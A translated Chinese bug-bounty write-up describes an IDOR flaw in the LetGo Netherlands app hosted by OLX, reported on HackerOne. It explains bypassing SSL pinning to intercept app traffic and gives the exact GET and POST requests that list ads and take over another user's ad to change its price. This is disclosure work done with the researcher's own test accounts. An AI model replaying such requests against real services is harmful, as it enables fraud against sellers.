在这篇文章中,我将跟大家分享关于“不安全的直接对象引用”(IDOR)攻击的相关内容。没错,正如本文标题所写的那样,我在OLX所托管的网站上发现了一个IDOR漏洞,并将其披露在了HackerOne上,因此我觉得是时候写一篇Write-Up了。

b1.png

背景内容

OLX托管着多个国家的LetGo网站,其中还包括荷兰在内。LetGo是一个类似eBay的网站,你不仅可以在LetGo上购买新的东西,而且还可以帮你处理掉不要的二手物品,有些类似天朝的X鱼。

通过研究之后,我在这个网站上发现了一个IDOR漏洞,这个漏洞不仅能够允许我接管他人所上传的广告信息,而且还可以修改价格和描述,你肯定想象不到我当时是有多兴奋!虽然修改操作还需要进行一个人工审批过程,但对我来说至少能实现就行了。一般来说,将价格从40欧元改成35欧元都是可以通过的。除此之外,我的账号通过了几次人工审核之后已经被添加到白名单之中了,因此以后就都不用审核了。

因为网站没有实现频率限制,而且网站服务所提供的API还可以列举出所有的广告,因此我们也许可以编写一个脚本来自动化实现所有操作。比如说,列出所有的广告,然后接管每一条广告,并修改对应的价格。

当然了,我肯定不会真的去这样做,我也不需要去证明这个漏洞的严重性或者给网站造成经济损失。所以当我发现了这个IDOR漏洞之后,我便立刻报告了该漏洞。需要注意的是,我的PoC用我自己的多个测试账号,我并没有去接管其他人的广告,毕竟安全第一嘛!

如何找到了这个IDOR漏洞

在得到了OLX的允许之后,接下来就是披露漏洞细节的时间啦!

首先,我们需要设置一个代理来查看iOS/Android端App的流量数据。这些流量是经过了SSL加密的,但这并不重要(导入CA BurpSuite规范)。但是现在有的App实现了SSL Pinning特性,因此BurpSuite CA就没有效果了,但是你可以通过禁用(Unpin)这种特性来绕过这种安全保护层。其中一种方法是通过对App进行逆向分析和检测来实现,另一种方法就是在系统设置中禁用。

现在我手上有一台已越狱的iPad(安装了Cydia)和一台Android手机(安装了Xposed模块),两天设备均禁用了SSL Pinning。这样一来,你就可以使用类似BurpSuite这样的代理来拦截任意一款App的流量了。除此之外,你也可以安装Android模拟器来实现整个操作,推荐genymotion或android stuidio。

当你在使用iOS或Android端App的过程中,我们可以通过拦截API调用信息来了解关于API调用的信息,并指导如何重放调用过程。

设置测试账号:

-Android账号:token ‘111111’ -iOS账号:token ‘222222’

账号#1

1.     使用令牌‘111111’发布一个新的广告(返回ID,测试场景中ID为888888)。

2.     等待审核通过。

3.     审核通过之后将其发布到网站上。

账号#2

1.     通过调用搜索API来获取广告列表。

2.     通过发送POST调用来攻击目标广告,测试场景中我们选择攻击刚发布的广告,ID:888888

3.     接管广告瞬间就可以完成,现在这个广告已经属于账号#2的了,而不是账号#1的。

4.     等待审核通过。

5.     审核通过,并将修改后的广告发布到网站上。

在使用账号#2发动攻击的过程中,涉及到两个API调用:GET /i2/ajax/ads/(用于获取ID)和POST /i2/newadding/(用于接管并修改广告)。

GET调用可以列举出所有的广告信息,其中包括ID在内,具体如下所示:

GET/i2/ajax/ads/?json=1&app\_ios=285&brand=Letgo&client=ios&version=285&token=222222&location=1,1&lang=en&search%5Blat%5D=1&search%5Blon%5D=1&search%5Border%5D=dist&search%5Bdistance%5D=20000HTTP/1.1 Host: letgonl-a.akamaihd.net Connection: close Accept: */*
User-Agent: Mozilla/5.0 (Linux; U; Android2.2; en-us; Droid Build/FRG22D) AppleWebKit/533.1 (KHTML, like Gecko)Version/4.0 Mobile Safari/533.1          Accept-Language: en-NL;q=1.0, nl-NL;q=0.9
X-Origin-OLX: production 

POST调用(即实际的攻击过程/IDOR)如下所示:

POST/i2/newadding/?json=1&app_ios=285&brand=Letgo&client=ios&version=285&token=222222&location=1,1&lang=enHTTP/1.1 Host: letgonl-a.akamaihd.net
Content-Type: application/json
Content-Length: 222 Accept: */*
Connection: close
User-Agent: Mozilla/5.0 (Linux; U; Android2.2; en-us; Droid Build/FRG22D) AppleWebKit/533.1 (KHTML, like Gecko)Version/4.0 Mobile Safari/533.1 Accept-Language: en-NL;q=1.0, nl-NL;q=0.9 X-Origin-OLX: production
 
{"ad_id":888888,"params":{"price":"35"},"description":"Thisisawesome","person":"nickname","title":"Mytitle","category_id":"800","locations":[{"map_lon":1,"map_lat":2}]} 

需要注意的是,我只是将我拦截下来的GET调用和POST调用重放了一次,然后用账号#2的令牌替换掉了账号#1的令牌。

在这里我需要提醒大家,在进行类似的分析操作时一定要使用测试账号,而且不要造成什么实际的破坏,在动手之前可一定要考虑清楚啊各位,这可不是在玩游戏。

积累经验

1.     在选择参与漏洞奖励计划时,一定要选择记录良好的计划,因为如果你不谨慎选择的话,你的努力很可能会“付诸东流”。

2.     当你在发现一个安全问题时,你一定要掌握那个攻击的“度”。在遇到问题是别气馁,继续努力就行了,有什么难题就记录下来,去社区请教大神就好。

 

* 参考来源:kciredor,FB小编Alpha_h4ck编译